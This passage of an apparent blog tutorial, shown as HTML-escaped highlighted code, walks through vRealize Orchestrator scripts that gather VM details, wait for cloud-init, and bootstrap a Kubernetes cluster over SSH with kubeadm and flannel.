&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;dn&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;resourceName&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ip&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;address&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;masters&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;push&lt;/span&gt;([&lt;span style=&#34;color:#a6e22e&#34;&gt;ip&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;dn&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;uuids&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;push&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;name&amp;#39;&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;k8sw&amp;#39;&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;moref&amp;#39;&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;split&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:&amp;#39;&lt;/span&gt;)[&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;dn&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;displayName&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ip&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;content&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;properties&amp;#39;&lt;/span&gt;][&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;address&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;workers&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;push&lt;/span&gt;([&lt;span style=&#34;color:#a6e22e&#34;&gt;ip&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;dn&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;uuids&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;push&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;id&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;all_vms&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;VcPlugin&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;getAllVirtualMachines&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;all_vms&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;all_vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;j&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;j&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;uuids&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;j&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;vimId&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;uuids&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;j&lt;/span&gt;]){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;push&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;scripting object 2 - wait for cloud-init to complete before proceeding&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;inputs:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;vms | Array/VC:VirtualMachine | vms&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;code:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// wait for each VM to power off and power them back on once they&amp;#39;re down
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// this will ensure cloud-init run is complete as the last cmd is poweroff
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;runtime&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerState&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;value&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;poweredOn&amp;#39;&lt;/span&gt;){     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;System&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sleep&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;2000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;vm&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;powerOnVM_Task&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// wait for all VMs to boot and come online
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;while&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;vms&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;].&lt;span style=&#34;color:#a6e22e&#34;&gt;ipAddress&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;null&lt;/span&gt;){     
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#a6e22e&#34;&gt;System&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;sleep&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;1000&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;scripting object 3 - setup kubernetes cluster&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;inputs:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;masters | Array/Array | masters&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;workers | Array/Array | masters&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;code:
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// setup master nodes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;mssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;masters&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], [
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;kubeadm init --pod-network-cidr=10.244.0.0/16&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;kubectl apply -f https://raw.githubusercontent.com/flannel-io/flannel/master/Documentation/kube-flannel.yml&amp;#39;&lt;/span&gt;, 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;mkdir /root/.kube&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;cp /etc/kubernetes/admin.conf /root/.kube/config&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]) 
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;token&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;masters&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;kubeadm token list | tail -1 | awk &amp;#39;{ print $1 }&amp;#39; | tr -d &amp;#39;\n&amp;#39;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;cert&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;masters&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;openssl x509 -pubkey -in /etc/kubernetes/pki/ca.crt | openssl rsa -pubin -outform der 2&amp;gt;/dev/null | \
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;openssl dgst -sha256 -hex | sed &amp;#39;s/^.* //&amp;#39;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ip&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;masters&lt;/span&gt;[&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;ip addr show dev ens32 | grep inet | head -1 | awk &amp;#39;{ print $2 }&amp;#39; | cut -d/ -f1 | tr -d &amp;#39;\n&amp;#39;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// TBD: add support for adding HA in control plane
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//for (var i = 0; i &amp;lt; masters.length; i++){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//    ssh(masters[i][0], &amp;#39;magic&amp;#39;)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;//}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;for&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;var&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;workers&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;length&lt;/span&gt;; &lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;out&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;workers&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;], &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;kubeadm join &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ip&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:6443 --node-name &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;workers&lt;/span&gt;[&lt;span style=&#34;color:#a6e22e&#34;&gt;i&lt;/span&gt;][&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; --token &amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;token&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; --discovery-token-ca-cert-hash sha256:&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;cert&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;function&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ssh&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;host&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;cmd&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;new&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;SSHSession&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;host&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;root&amp;#39;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;path&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;/var/lib/vco/app-server/conf/vco_key&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;connectWithPasswordOrIdentity&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6e22e&#34;&gt;path&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;executeCommand&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;cmd&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;output&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;session&lt;/span&gt;.&lt;span style=&#34;color:#a6e22e&#34;&gt;getOutput&lt;/span&gt;()
